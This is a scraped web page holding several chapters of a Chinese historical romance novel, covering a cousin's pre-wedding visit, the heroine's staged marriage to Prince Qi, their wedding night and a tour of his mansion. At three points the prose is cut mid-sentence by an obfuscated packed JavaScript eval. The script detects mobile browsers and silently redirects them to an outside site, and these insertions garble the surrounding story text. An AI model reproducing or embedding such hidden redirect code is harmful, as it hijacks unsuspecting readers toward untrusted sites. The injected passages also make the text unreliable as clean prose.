于是今日活动暂时告一段落。 出了亭子,三人沿着灯火通明的青石小径,一路往住处走去。 谁想才走了几步,谢含昭遭冷风一吹,又清醒了过来。 小姑娘精力旺盛,困意一走就又静不住了。说着要去折花插瓶,当即就要往林子里钻。 谢怀雵让身后跟随的宫人提着灯追了上去。 “你要一起去折花吗?”他侧头看向姜同云。 姜同云捂着嘴,又小小地打了一个呵欠。 她的精力完全没法跟谢含昭比。今天坐了大半日的车,又爬了好一段山路,玩到现在她是真的困得不行了,只想赶紧回去睡觉。 但这会儿谢含昭跑进了梅林,她也只能强打起精神道:“我就不去了,在这里等含昭吧。” 谢怀雵笑了:“你要是困了,我先送你回去吧。” “横竖有人跟着,一时半会儿的不会出事。我等送完你再来抓她回去。” 姜同云困得眼皮直打磕绊。她犹豫了片刻,还是抵不过汹涌的睡意,点头同意。 于是二人继续前行。 没了谢含昭活跃气氛,姜同云也不知该说些什么,只能选择沉默。 天上的月亮不知何时已经悄然隐去踪迹,只余小径两侧暖黄的烛火覆笼两人。 梅林里突然刮起了一阵寒风。 凛冽的气流卷动梅枝,吹得林间发出一阵窸窸窣窣的响动。 姜同云觉得脖子一凉,似乎有冰凉的花瓣和水珠子被风裹着灌进了她的衣领里。 她下意识地缩起脖子。 灯火晃动间,一件混合了梅香、木质香,还带着融融暖意的狐裘轻巧地裹在了她的身上。 “下雪了。” 她听到身侧的人轻声道。 姜同云抬起头来。 浓黑的夜幕中,纯白的雪子交错抛落。 ***** 这场雪下了一整夜,次日起来的时候,温泉行宫已是一片纯白。 借着这场雪带来的好景色,姜同云三人又在温泉行宫里玩了一日,到第三日才启程返回金陵。 回到金陵后,姜同云就又开始了节奏忙碌的交际生活。 一直到正月结束,许多宗室王爵陆续返回封地,姜同云的吃席生活才算进入尾声。 值得一提的是,生辰那日,谢怀雵为她准备的那盏嫦娥奔月灯也被送回了金陵。灯匠们将宫灯拆卸成数分,送到乡主府中,重新搭建组合。 老爷子看到灯后很是吃味,元宵那日硬拉着姜同云把灯市所有文试摊子犁了一遍,给她赢了一盏头名奖励的百鸟朝凤灯回来。 然后这两盏大宫灯就一南一北地摆在乡主府的花园里,遥相呼应。 二月,在宫中给谢含昭庆完十三岁生辰后,就轮到了颍川、义阳两家侯府的亲事。 迎亲前一日,姜同云受邀前去义阳侯府为姜向瑶添妆。 义阳侯府上下布置一新,来来往往的下人都是一派喜气洋洋的模样。 姜同云被引入姜向瑶闺房的时候,里面已经围了好些人了。 今日受邀来的,大多是李夫人娘家那边的女性亲戚,另外还有三位姜向瑶的闺中好友,余下的就是义阳侯府其余两位姑娘。 见到姜同云来,李夫人脸上的笑容一滞。 “母亲,是我请大姐姐来的。”还是姜向瑶率先开口解围,并主动上前给姜同云行了礼。 人都已经来了,还是女儿自己请的。当着这么多外人的面,李夫人再觉得别扭也都只能堆起笑容来:“同云能来可真是太好了!” 姜同云笑着跟屋里众人见了礼,送上她为姜向瑶准备的添妆首饰后,就自己在外间寻了张椅子坐下了。 旁人不知道这门婚事背后发生过的幺蛾子。 况且姜同云现在不仅被封了乡主,马上还要做齐王妃了,她们只觉得姜同云来给堂妹添妆庆贺是件很能给义阳侯府长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711910|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸面的事,当即又围着李夫人和姜向瑶好一番祝贺。 李夫人被夸得浑身不自在,频频偷看坐在外间喝茶的姜同云。 姜向瑶倒是一派淡然,不仅坦然接受了旁人的祝贺,还得体地一一回复。 见自己母亲待得实在难受,姜向瑶便道:“母亲不是还要再去检查一遍陪嫁吗?” 李夫人担忧地看了女儿一眼。见她朝自己点了点头表示放心,李夫人便顺着台阶下了:“是呢,我这还得再去看看。你好生招待你大姐姐。” 说着,她招呼上屋内妇人,一并离开。 长辈们走后,姜向瑶又嘱咐两个妹妹帮她招待好友。不多时,屋子里就散得只剩姜向瑶和姜同云二人了。 “大姐姐婚期将近,还能拨冗前来,真是有心了。”姜向瑶送走好友和妹妹,走到姜同云对面坐下。 钦天监给姜同云和谢怀雵合过八字后,给出了三个婚期。 谢怀雵最终定下了三月十七。 彼时天气已经和暖,却又不至于太过炎热,倒是个相当不错的时段。 所以近来姜同云也在忙着备嫁之事,今天也是好不容易才挤出时间过来的。 姜同云对着姜向瑶淡淡一笑:“这是我身为姐姐该做的。” 姜向瑶细细打量了一番自己的这位堂姐。 对比去年那次短暂的见面,如今的她像是变了许多,却又好像什么也没变。 或许发生变化的,只是自己的心境罢了。 想到这里,姜向瑶笑了:“大姐姐被封为乡主后,母亲一直担忧你会把婚约的事情捅到陛下那里去。可我倒觉得,既然大姐姐当初那么痛快地把信物给了我们,应当是并不在意与颍川侯府的这桩婚约的。” 听到这话,姜同云也笑了:“是婶婶多虑了。我既然自愿给出了信物,又何必再坏了你的婚事呢?” “而且她当初劝我的话也没有错。颍川侯夫人对我多有不满,韩二公子与我也是话不投机。这门亲事于我而言并非良配,我硬要嫁过去,实在也是没意思。” 姜向瑶叹道:“有时候我也是真的羡慕大姐姐你。” “羡慕我?羡慕我什么?” “……羡慕大姐姐不必负担家人。” 姜同云原以为她羡慕的是自己能做乡主甚至王妃,却没想到她居然给出了这样的答案。 她抬头看了一眼姜向瑶这间装饰华美、无一不精致富丽的闺房,一时不知该作何回答。 见她这般举动,姜向瑶笑了:“父亲母亲对我都很好,所以我才不能狠下心抛掉他们。” “父亲丢了职务后就一直被陛下所厌弃,这些年咱们家和权贵圈子的交情也就都渐渐断了。”姜向瑶语气淡淡,“家里人都寄希望于哥哥科考授官,但以他的性格,若没人帮他铺路,只怕一辈子都出不了头。” “若是我不能嫁个能够帮衬到姜家的人,这偌大的侯府,怕是撑不过两代了。” “这些年,也不是没人来提过亲。但都是些一样在走下坡路的人家,甚至还有明晃晃地冲着钱财来的。韩纬是我能做的最好选择。所以即便手段卑劣,我也必须去抢去争。” 姜同云想起端午那日,姜向瑶刻意讨好颍川侯夫人的情形;又想起中秋晚上,姜向瑶对着不苟言笑的韩纬全程微笑的模样。 她莫名感到有些悲凉:“义阳侯府就算真的败了,那也不是你的错。” 姜向瑶笑叹道:“若是我也有大姐姐这样的洒脱,今日就不会是这般光景了。” 姜同云没法再劝。想到她也算帮了自己,姜同云叹了口气:“下个月十七那日,你若是有空,就来乡主府赴宴吧。” “……好。” 40. 成婚 三月十七,春景正盛。 刚到寅时(早上三点),姜同云就被木樨叫了起来。 她昨晚没睡安稳,不仅做了一整晚的梦,中途还醒了好几回。这会儿被叫起来,整个人都是懵的。 乡主府里的丫鬟们也没好到哪里去。不过她们心里头攒着一股兴奋劲儿,精神头倒比姜同云这个主角好得多。 借着灯火,姜同云洗了把脸,才感觉稍微清醒过来一些。 “姑娘的眼睛怎么有点肿?”木樨举着烛台细细打量了一番姜同云,连忙让人去取提前煮好的鸡蛋来。 姜同云被按在梳妆台前,从丫鬟手中接过两枚热乎乎的煮鸡蛋敷眼睛:“昨晚没睡好嘛。” 木樨替她梳起头发:“是不是昨晚前头收拾东西吵到姑娘了?” “有点吧。”姜同云缓慢滚动鸡蛋,热乎乎的蛋壳贴着眼皮,缓解了睡眠不足带来的酸涩感。 “姑娘觉浅,但昨日也是没办法的。”木樨替她挽起发髻,又取出一早准备好的全套首饰头面,“好在王府给姑娘准备的院子挺安静的,姑娘不用担心之后睡不好。” 昨日乡主府派人去齐王府里铺房,木樨也跟着一起去了。 尽管已经知道自家姑娘和齐王是假成亲,但木樨还是留心观察了一下齐王府里的情形。王府给姜同云准备的住处就在王府中轴线上,跟齐王自己的居所只隔了两堵墙和一条过道。 屋子是新翻修过的,院子里种植的花木都是照着乡主府花园选的。 最重要的是,王府下人对乡主府过去的人表现得十分周到客气没有丝毫怠慢之处。 从这几点来看,齐王对待自家姑娘还是很上心的,没有因为两人是假成亲就敷衍了事。 要是他俩是真的成亲就好了。 想到这里,木樨忍不住轻叹了口气。 “怎么了吗?”姜同云从镜子里看向木樨,笑着问道。 木樨立刻扬起笑脸来:“没什么。就是想到姑娘今日就要成亲了,一时觉得时间过得真是太快了。” 想到去年这个时候,自己才刚到金陵不久。一晃眼居然就过去了一年。 姜同云微微点头:“是啊,时间过得真是太快了。” 梳好头换好衣裳,姜同云又在房里吃了点早饭,天就已经亮透了。 眼看时辰差不多了,姜同云动身前往祠堂。 到达祠堂的时候,老爷子已经在里面等候了。 祭拜过父母后,祖孙二人在外间座椅上坐下。 按照仪程,这会儿本该由父母和女性长辈教导姜同云如何做个称职的妻子和儿媳。然而姜同云父母均已亡故,也没什么关系亲近的女性亲属,只有老爷子这么一位长辈。 而老爷子……他非但没有叮嘱什么妇德妇容妇言妇功,反而还对姜同云说:“要是他对你不好,你就立刻回家来,咱们不跟他过了。” 听到老爷子这话,一直盘亘在姜同云内心最深处的一丝浅淡忧虑,都暂时消却了。 她抱住外祖父的胳膊,笑着说道:“好。” 不多时,宾客们陆续登门道贺。 中午宴后不久,谢怀雵就带着迎亲队伍到了乡主府门外。 等门外响起奏乐声,梁国夫人便指挥屋内众人开始为姜同云梳妆。 晨起时的装扮已经提前卸下,这一次是由邓皇后精挑细选出来的两位全福太太替姜同云梳头上妆。 等姜同云敷完粉化好妆,换上完全套凤冠霞帔,已是一个半时辰之后了。 两位全福太太扶起姜同云。负责替她化妆的那位笑着夸赞道:“乡主本就生得美貌。今日精心妆扮后,更是有仙子临凡之美。” 看着镜子里自己,姜同云一时也有些怔愣。 由于对古代化妆品成分的不信任,姜同云平时是完全不化妆的。就连那日受封乡主的时候,她也只是简单地薄敷了一层粉,描了一下眉,再略微上了点胭脂口红提气色。 但今日经过巧手妆扮,姜同云简直像是被加了一层美颜滤镜。 她的皮肤生得白皙,也没有什么瑕疵,全福太太就只替她薄施了一层粉黛,更多地花心思在描绘五官、尤其是她的眉目上。 修长的柳眉经过修饰后显得更加秀丽婉约,将她那双点漆似的乌黑双瞳衬得多了几分欲诉还休的柔美韵味。明艳的红唇与凤冠上那串垂至眉心的红宝石交相辉映,更是给姜同云增添了一分庄重华贵之美。 梁国夫人笑着说道:“还是齐王殿下有眼光。乡主和殿下郎才女貌,佳偶天成。” 屋里的人也都纷纷开始夸赞起姜同云来。 说话间,院里丫鬟来报,说钦天监测定的吉时快要到了。 于是梁国夫人将皇后所赐的一对金镶宝石龙凤镯戴在姜同云腕上,随后一边念着一长串的祝福词,一边将手中盖头覆在姜同云头上。 两位全福太太上前扶起姜同云,一行人向外走去。 姜同云被两位全福太太搀扶出来的时候,老爷子已经堵在正院门口刁难谢怀雵好半天了。 许敬铭起初还顾忌着对方亲王的身份,只按照常规惯例,挑剔了一下谢怀雵的容貌,还都尽量捡些文雅柔和、不会冒犯对方的词句来讲。 谁知道讲着讲着,老爷子真情实感地伤心起来了。 想到自己疼爱了这么多年的宝贝外孙女就要被面前这个小子娶走,老爷子再也克制不住,拿出他多年为师的经验,开始认真地挑起刺来。 跟在老爷子身边的卫大人在听到老友挑剔齐王“文采不够”的时候,真是恨不得上去捂住他那张嘴。 是,人家是文采不够,但人家那武力值可太够了! 就算现在齐王提不动刀了,他身边带着的那些亲卫可都不是吃素的啊!没发现他们看你的眼神都不太对了吗! 其实卫大人完全是多虑了。 谢怀雵的亲卫们根本就不在乎人家说他们主子文才不行。而且他们都能看出来,自家主子也完全没有因为老爷子的吹毛求疵而生气。 之所以眼神发生变化,还是因为他们第一次发现,居然有人能让他们主子自愿受这种气。 这位老爷子真乃神人! 可惜卫大人完全没有看出来他们眼神里的敬佩之意。 就在卫大人急得快要上手拉人的时候,梁国夫人引着姜同云出来了。 偷偷走神的谢怀雵立刻端正了表情,连脸上的笑容都真挚了几分。 见到姜同云来,老爷子也不得不偃旗息鼓。 两位全福太太扶着姜同云,一路行至老爷子身旁。 老爷子握了握姜同云的手臂:“往后……要好好的啊。” 纵然没有什么别离愁绪,姜同云也被外祖父这句带着些微泣声的话弄得红了眼眶:“我会时常回来陪您的。” 老爷子欣慰地笑了笑,却没有接她这话。他扶着姜同云的手臂,将她带至花轿前。 “殿下,往后还请您好好照顾同云。” 谢怀雵郑重行了一礼:“您请放心。” 轿帘掀开,姜同云被梁国夫人扶着坐了进去。 帘门一放,姜同云听见外面有人高唱“吉时已到”,随后她就被抬了起来。 因为宣阳坊距离崇仁坊实在太近。在和姜同云商量过后,谢怀雵选择在周围几处坊墙之外绕上两圈。 听着外面吹吹打打、锣鼓欢腾的喧闹声,还有沿路百姓争抢喜钱的欢声笑语,姜同云心中伤感退去,先前深藏于心的不安感又重新开始蔓延。 虽然是假成亲,但她今后到底要在齐王府里生活好长一段时间了。 别的不说,就光今天晚上,她和谢怀雵同房的事情该怎么解决,她到现在都还没拿定主意呢。 思来想去,姜同云愈发烦躁,干脆自暴自弃地放弃思考。 算了,车到山前必有路,走一步我看一步。 迎亲队伍在外面绕了将近小半个时辰,才踏入崇仁坊内。 轿子停在了齐王府门前。 外头有人念完了一篇长长的祝颂辞赋,之后花轿才落了地。 轿帘终于被重新掀开。 这回换魏王妃上前扶姜同云下轿了。 姜同云踩着早就铺好的毡子,跨过马鞍,由齐王府正门而入,行至提前装饰过的偏厅内坐定。 之后谢怀雵在正厅内完成自己这边的流程,又以彩缎牵引姜同云至王府家庙前参拜。完成这全套仪式后,两人才进入新房,在邢国夫人主持下,对拜行礼。 礼毕,二人被引至床边坐下。 侍女将一柄玉如意捧给谢怀雵。 谢怀雵握着手中冰凉的如意,一时有些踌躇。 提枪执弓的那些年里,他从来没有想过,自己竟然也会有犹豫不敢上前的一天。 好在他一向很稳得住。短暂的停顿后,他坚定地用手中如意撩开了盖头。 红绸落下,露出的是曾数次出现在他梦中的容颜。 不,不对。 今日的姜同云,远比他过往所有梦境里的姜同云都更加动人心魂。 谢怀雵一时怔在原地。 盖头被掀开,姜同云也抬起头来去看谢怀雵。 她见过谢怀雵从水里被捞起时的落魄模样,也见过谢怀雵压退纨绔时的冷峻高傲,更是在生辰那日晚上,见到过立于灯火辉煌中的谢怀雵。 她知道谢怀雵生了一副好相貌,无论穿什么都十分出挑。但她从来没有想过,谢怀雵居然这么适合红色。 这身喜服消减了他一贯的淡然,让他变得鲜活真实起来,好像壁画上描绘的人物骤然被拉入人间。 姜同云看着谢怀雵,一时竟也忘了自己该做什么。 魏王妃来回看了看相视不语的二人,笑着打破了屋内的沉寂:“新娘实在太漂亮了,都把齐王看呆住了!” 屋里观礼的宗室命妇全都发出了会心的低笑声。 魏王妃正想再调笑一下这对新人,不聊谢怀雵却大大方方地点了点头:“夫人今日确实很美。” 同云羞恼地斜了谢怀雵一眼,扭过头去不再看他。 这下命妇们再也克制不住,放声笑了起来。 最后还是邢国夫人站了出来,忍着笑意继续推进流程:“该饮合卺酒了。” 侍女端来酒瓢。 谢怀雵和姜同云各自执起一瓢,饮下一半,随后互换酒瓢,饮尽余下酒水。 至此,两人的婚礼流程才算全部完成。 邢国夫人领着其余命妇陆续退出新房。 待她们走后,谢怀雵帮着姜同云取下沉重的凤冠:“我还得去前头应付一下宾客。你先卸了钗环,换身舒服的衣裳歇一歇吧。” 姜同云穿着这身重重的行头大半日了,这会儿也累得不行。听到谢怀雵这话,她立刻点头同意:“行。” “饿么?我再让人准备点吃的送过来。” 姜同云看了看窗外,此时天色已经变得昏沉。 她实在是累得慌,倒不太有胃口。加上今日天色已晚,也不适合再吃太多:“简单拿点吃的就行,我不是很饿。” 谢怀雵点了点头,起身出门了。 不多时,木樨就先走了进来。很快,其余丫鬟侍女们也捧着热水巾帕、替换衣物还有一些吃食进来了。 姜同云在她们的协助下先拆掉了发髻,又换上一身轻便衣裳。卸掉妆容洗过脸后,她在屋内圆桌前坐下,开始用餐。 趁着她吃饭的空档,侍女们开始铺床了。 木樨看着王府侍女的动作,紧张地凑到姜同云耳边问:“姑娘,你今晚打算怎么办啊?” 姜同云咽下嘴里食物,小声答道:“我也没想好呢。等齐王回来我再问问他好了。” 说曹操,曹操到。 谢怀雵一进门就看见主仆二人凑在一起窃窃私语的模样。 他轻轻扣了扣身侧柱子,提示姜同云自己回来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711911|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见声音,姜同云连忙抬起头来。见是谢怀雵,她心里一紧,下意识举起手里的碗问道:“殿下要吃点吗?” 问完她才想起桌上都是她吃剩下来的东西。 你也好意思问人家吃不吃呢! 姜同云羞地快钻地里去了。 谢怀雵笑了笑,走到桌前扫了一眼,捡起一块没被动过点心来:“正好有些饿了,还是夫人关心为夫。” 当着这么多侍女的面,姜同云不好说什么,只能又瞪了谢怀雵一眼。 吃完这餐晚饭后,两人在侍女们的服侍下完成了睡前更衣洗漱工作。 侍女将屋内蜡烛熄灭大半。 谢怀雵吩咐道:“王妃浅眠,你们不必待在屋里,留两个在外间侍候就行。” 侍女们依言退下。 木樨担忧地看向姜同云。但其他人都走了,她也不好继续杵着,只能一步三回头地跟了出去。 里屋房门一关上,姜同云的心也跟着提了起来。 她还没想好今晚怎么睡呢,这个人怎么就把侍女们都赶出去了? 不对,不赶出去也不行,她们留在这里更麻烦。 纠结中,姜同云听见谢怀雵道:“今晚你睡床上,我睡这边软榻上就行。” 姜同云一时没反应过来:“啊?” 谢怀雵就又重复了一遍自己刚刚的话,末了还补充了一句:“你要是害怕,我把木樨叫回来陪你一起睡。” 听到这话,姜同云心里蓦然一松。 感受到谢怀雵的体贴后,她心里的担忧逐渐退去。 再看看那张虽然铺了垫子,但怎么看都不适合睡人的窄小软榻,姜同云一时犹豫起来。 眼见谢怀雵已经去床上抱被子了,姜同云赶紧拉住了他:“等等。” 她跑去软榻边上,拿起榻上摆着的长靠枕,摆到床的正中央:“你睡外面,我睡里面。” 横竖这床够大,侍女们还准备了两床被子。一人盖一条被子睡一边,正好互不影响。 谢怀雵抱着被子,似笑非笑地问道:“你不怕我对你做些什么吗?” 姜同云后退半步,双手抱胸,故作夸张地上下打量了他一番:“就你这体格,我更怕你睡冻着然后就一病不起了。我才刚成亲,可不想现在就被人说克夫。” “再说了,万一明天丫鬟进来叫我们,撞见你睡在榻上,你打算怎么跟人家解释?” 谢怀雵挑了挑眉:“好吧。那就都听夫人的。” 姜同云听见他这么称呼自己,又觉得耳朵一热。为了掩盖情绪,她故意没好气地斜了谢怀雵一眼:“殿下能不能换个叫法?咱们是假成亲,私底下就不用这么装了吧。” “那我应该怎么叫?姜姑娘?还是乡主?”谢怀雵面露难色,“可要是叫习惯了,哪天在外人面前叫漏了嘴,别人又要怀疑我们感情不好了。” 什么感情好不好的!这个人怎么又说这种话! 姜同云觉得自己耳朵上的温度要蔓延到脸上去了。 她连忙踢掉鞋子往被窝里一钻,拉起被子盖住自己的脸,闷声道:“你爱怎么叫怎么叫吧!” 站在床边的谢怀雵无声地笑了笑。 他铺好被子,吹灭烛火,在大床外侧躺了下来。 屋子里一时陷入安静,只余二人轻微的呼吸之声。 躺了一会,姜同云想起一件事来,闷闷地问道:“殿下,你睡了吗?” “还没。” “那你……睡觉的时候会打呼噜吗?” 谢怀雵微微侧过头,借着窗外月光去看身侧的姑娘。然而姜同云的大半张脸都埋在被子底下,只露出一个发顶来。 月色朦胧,谢怀雵一时竟有些分不清自己是不是在做梦。 等不到回答的姜同云以为是自己的问题冒犯到了谢怀雵,连忙小声解释道:“你也知道,我睡觉比较浅。如果你打呼噜的话……” 她还没有说完,就听见谢怀雵轻轻地笑了:“我不打呼噜。如果不放心的话,那就你先睡,我等你睡着了再睡。” 听到这话,姜同云转过身来。她从被子里探出脑袋,露出一双眼睛看向谢怀雵:“真的吗?” 月光下,谢怀雵点了点头:“真的。你睡吧。” 得到保证,姜同云高兴地“嗯嗯”两声,抱着被角闭上了眼睛。 可不知怎么的,本来觉得自己非常疲惫的姜同云这会儿却睡不着了。 想到谢怀雵还在等着自己睡着,她心里就开始焦虑。姜同云死死地闭着眼睛,一动不动地躺在床上,期待自己的大脑能一秒关机,好让自己立刻昏迷过去。 然而越是这样,她的脑袋就越是清醒,甚至莫名其妙地开始想些有的没的。 也不知道躺了多久,姜同云听见身边的谢怀雵轻声问道:“睡不着吗?” 姜同云心里一紧,第一反应就是不作回答,假装自己已经睡过去了。 不料谢怀雵却揭穿了她:“别装了,你的呼吸都乱了。” 见装不下去,姜同云只能睁开眼,老实承认:“是有点睡不着。” 月亮已经西斜,没法再照进床头。黑暗中,她听见谢怀雵翻了个身,侧向自己这面。 “介意我隔着被子碰到你吗?”他低低地问道。 姜同云以为他想从里侧拿什么东西,便摇了摇头:“不介意。” 谁知一只温暖的手隔着被子,温柔地搭在了姜同云背上。 谢怀雵轻柔但规律地抚拍着她,用几不可闻的气音说道:“睡吧。” 姜同云觉得自己像是被晒得暖烘烘的云层包裹住了。 杂乱的思绪收拢起来,乱跳的心也被安稳地放回原处。她重新闭上了眼睛。 这一次,姜同云很快就睡着了。 圆月的清辉透过窗棂,洒在谢怀雵的后背上。他单手支着头,耐心地哄着被他半圈在怀里的姑娘,直到她的呼吸变得平和悠长。 41. 香樟 姜同云醒来时,已是天光大亮。 昨晚一夜无梦,是她最近这段时间来睡得最香、最安稳的一次,以至于睁开眼的时候,她都还有点不愿醒来。 但陌生的屋子让她稍稍清醒了过来。 她抱着被角眨了眨眼,意识慢慢回笼。 我昨天成亲了啊。 想到这里,她扭头去看自己身侧。 昨晚放上来的长靠枕还安安稳稳地摆在原处,但睡在外侧的谢怀雵已经不见了踪影。 “木樨,木樨?”姜同云哑着嗓子唤了两声,外间响起木樨应答的声音,随后她就推开隔门走了进来。 “姑、王妃醒了?”木樨磕巴了一下,还是没能适应这个新称呼。 好在房里现在就她们两个人,姜同云根本就不在乎这些,摆了摆手道:“我想喝水。” 木樨熟悉她的生活习惯,进来的时候就端上了一直暖在炉子上的铜茶壶,很快就倒了一杯热水递给姜同云。 姜同云觉得自己渴得厉害,咕咚咕咚地就喝完了一整杯。 看她这个样子,木樨心里揣着的想法就忍不住冒头。 姜同云一喝完水,她就压低声音,急急忙忙地问道:“姑娘,昨晚没出事吧?” “木樨,早上没出事吧?” 两个人都被对方问得一愣。 “昨晚能有什么事?”姜同云有些摸不着头脑。 木樨犹豫了一会,还是问了:“就是那个事情啊!早上齐王还特意吩咐,说你昨天累到了,让我们所有人都别进来打扰你睡觉呢。” 姜同云被木樨说得耳尖一红。她强装镇定地拍了拍身旁的长靠枕:“一人一边,什么事也没有。” 听到姜同云的回答,木樨一时都不知道自己究竟是该庆幸还是失望。 她叹了口气:“行吧。您问早上什么事啊?” 姜同云看了看外面,确认没人偷听:“我跟齐王隔着靠枕睡这事,早上没被别人看见吧?” 木樨摇了摇头:“齐王是自己起的。据王府的人说,齐王一向不喜欢别人近身伺候,就连早上起床都不用人提醒时辰的。” 姜同云点了点头:没人发现就好。 “现在是什么时辰了?”她望了望窗外正盛的日光。 “都已经是辰初(约莫早上七点)了。” “这么晚了?!”姜同云连忙掀开被子坐了起来。 “是呀。”木樨把提前准备好的衣裳拿了过来,“齐王说要和您一起吃早饭,又不让我们喊您起来,所以大家都在等您呢。” 这下姜同云是真急了:“快快快,你把这个放回软榻上去。” 她一边指挥木樨销毁罪证,一边拿起衣裳穿了起来。 不多时,姜同云穿好了衣衫。王府侍女们捧着水盆巾帕入内,服侍她梳洗。 简单收拾了一番,姜同云领着木樨,在侍女引导下前往饭厅。 谢怀雵已经坐在饭厅等候,正捧着本书册在看。 见姜同云来,他随手将册子放在一旁,起身迎上前,扶住了她的手臂:“怎么不多睡一会儿?” 突出起来的肢体接触让姜同云稍稍觉得有些不自在。 但在看到饭厅里站着的老管家后,她打起精神,努力摆出一个娇怯的表情来配合谢怀雵演戏:“睡不着就起来了。” 谢怀雵牵着她在桌边坐下:“昨日辛苦你了。横竖这两日也没别的事情,我陪你在家好好休息吧。” 姜同云点了点头:“好。” 两人又闲话几句,狠狠演了一把恩爱的新婚小夫妻。确认老管家完全没有起疑,甚至已经开始露出欣慰的笑容,谢怀雵这才让人摆饭。 早饭是特意按照姜同云的喜好做的。王府厨娘的手艺非常不错,姜同云吃得很是满足。 饭后,谢怀雵提议带她去王府逛一逛。 两个人就只带着木樨,从饭厅出发,往府邸外围绕去。 “这府里总共做了三处花园。”谢怀雵先带着姜同云去了正门东侧,“咱们院子里有个小花园,就在你住所后面。这里是寻常待客用的,也不算很大。” 姜同云不由咋舌:这还不大?这面积都快赶上她乡主府里唯一的一个花园了。 “西边那个园子倒是不小,但池水河道太多。你要是想去逛逛,我吩咐人准备条小船,咱们下午过去划船。” 居然还能在家划船! 姜同云觉得自己心里酸酸的。 原本以为自己当了乡主,还挣了一处宅子,已经非常了不得了。没想到跟谢怀雵一比,自己简直就像是刚刚小康的人看巨富。 万恶的封建社会! 真想跟你们这些有权有势的人拼了! 谢怀雵不知道姜同云心里已经磨刀霍霍,还在继续给她介绍王府各处:“这边是会客厅,平常我接待客人就在这里。后面这间是给你用的,我叫人重新收拾布置过了。你要是还想改动什么,直接让人去跟管家说就行。” 姜同云看了一圈这间专门留出来给自己用的客厅。 这处跟前头是一样的格局,都是五间打通的开阔屋子。各处布置都是照着姜同云的喜好来的,简单疏阔、明亮宽敞,不像金陵时下流行的女子闺阁那般精致繁复。 感受到谢怀雵的用心,姜同云放下了心里磨到一半的刀。 看完会客厅,谢怀雵又带着姜同云往正院里去:“正院前后共有三进。我的院子在最前头,后面就是你的住处。再往后,过了正院的小花园,是府里的家庙,你昨日去过的。” 姜同云的住所和家庙她都已经看过了,所以谢怀雵带着她去了自己的院子里。 “我平日都在这里处理公务,你若是要寻我,派人往这里来就行。” 到底是别人的住处,姜同云就只简单地看了看。 谢怀雵的院子也不符合金陵如今的潮流风尚。 如果说姜同云喜欢的是简约风装修,那谢怀雵这里简直就是极简风。 他的屋子里不仅没有多余的装饰物,就连家具都摆得有限。除了必要的一些物品外,几乎没有多余之物。 他的院子里也没种什么花草,基本都是些遮阴的树木。 这种风格,倒是让姜同云想起了自己的祖父。 看来他们这些行伍出身之人,连喜好都是比较接近的。 姜同云摸了摸种在院子里的香樟树:“这是棵老树了啊。” “是的。”谢怀雵站在她身侧,抬头望向依旧茂盛的树冠,“这处宅子原是前朝一位权贵所有。这棵树当时就种在这里了,到如今怎么也得有个一百五十多岁了。” 姜同云撵起一支枝叶间垂下的繁盛花序,一股淡雅的芳香柔和地拂在她的鼻尖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726372|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜同云觉得这股味道很是熟悉,又踮起脚尖,凑上前去嗅了嗅。 “喜欢这个味道?喜欢的话,我让人在你的院子里也种一颗。” 姜同云连忙摇头:“不用这么麻烦。我就是觉得这个味道有点似曾相识,好像……” “像什么?”谢怀雵见她脚下打晃,伸手扶了她一把,随口问道。 像是……昨天晚上睡前闻到过的味道。 姜同云突然反应过来:那不就是谢怀雵身上的味道吗? 她触电般松开捻着花枝的手:“没、没像什么。” 可是回忆一旦开始播放,就根本停不下来了。 有关昨晚的、因为睡着而淡化的记忆,此时正一帧一帧地在姜同云脑袋里滚动回放。 尽管昨夜失去月光的照明后,姜同云什么都没看清。但视觉失灵后,其他感官的体验就被放大了。 谢怀雵温柔的抚触,还有他那散在夜色里的声音,全都清晰地在她脑海里重现。 回忆里那片朦胧的黑暗更像是在她眼前蒙了一层薄纱,给所有的一切都罩上了一层柔和但暧昧的滤镜。 打住!打住!!打住!!! 眼看自己的脑子像脱缰野马一样就要开始狂奔,姜同云连忙强行终止了脑袋里的画面。 她昨晚是犯了什么蠢?!为什么这么自然地就接受了谢怀雵的哄睡,而且还毫无警惕心的就这么被哄睡着了啊! 姜同云在这里纠结万分,她身旁的谢怀雵也开始有点担心了。 刚刚不是在说花的味道吗?为什么她脸上的表情都快赶上川剧变脸了? 他关切地问道:“怎么了?身体不舒服吗?要不要叫太医过来看看?” 看着他自然流露出的温柔神情,姜同云就忍不住把他现在的神态转嫁到昨晚哄睡的他身上。 那就更犯规了啊! 她不敢去看谢怀雵,只能低着头道:“没事,就是花……花太香了。我出去透透气就行。” 说着,她转过身,头也不回地冲出了院子。 谢怀雵连忙跟了上去。 